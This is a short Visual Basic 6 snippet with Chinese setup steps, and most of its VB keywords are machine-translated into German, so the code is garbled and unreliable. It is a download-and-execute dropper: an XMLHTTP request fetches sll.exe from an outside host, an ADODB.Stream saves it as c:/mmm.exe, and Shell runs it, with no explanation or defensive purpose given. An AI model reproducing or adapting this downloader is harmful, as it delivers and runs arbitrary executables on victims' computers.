建立一个vb工程，Project1
添加引用: Microsoft Scripting Runtime, Microsoft Active Data Object, Microsoft MsXml
Formular 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d As Class1
Legen Sie a = Neues MSXML2.XMLHTTP fest
a.open get, http://www.ljc.com/sll.exe, True
Setze d = Neue Klasse1
a.onreadystatechange = d
a.senden
Sub beenden
Kategorie 1:
Dim b As ADODB.Stream
Dimmen Sie fso als Scripting.FileSystemObject
Öffentlicher curReadyState As Long
Öffentliche Funktion doSome()
Debug.Print Form1.a.readyState
Wenn Form1.a.readyState = 4, dann
www
Ende wenn
Funktion beenden
Öffentliche Funktion www()
Setze b = Neuer ADODB.Stream
b.Type = 1
b.öffnen
Legen Sie fso = New Scripting.FileSystemObject fest
Wenn Form1.a.readyState = 4, dann
b.Write (Form1.a.responseBody)
Wenn nicht fso.FileExists(c:/mmm.exe) Dann
b.SaveToFile c:/mmm.exe
Ende wenn
Ende wenn
b.Schließen
Setze b = Nichts
Wenn fso.FileExists(c:/mmm.exe) dann Shell c:/mmm.exe, 1
Setze fso = Nichts
Funktion beenden
Die Standardeinstellung „Class1“ ist „doSome“.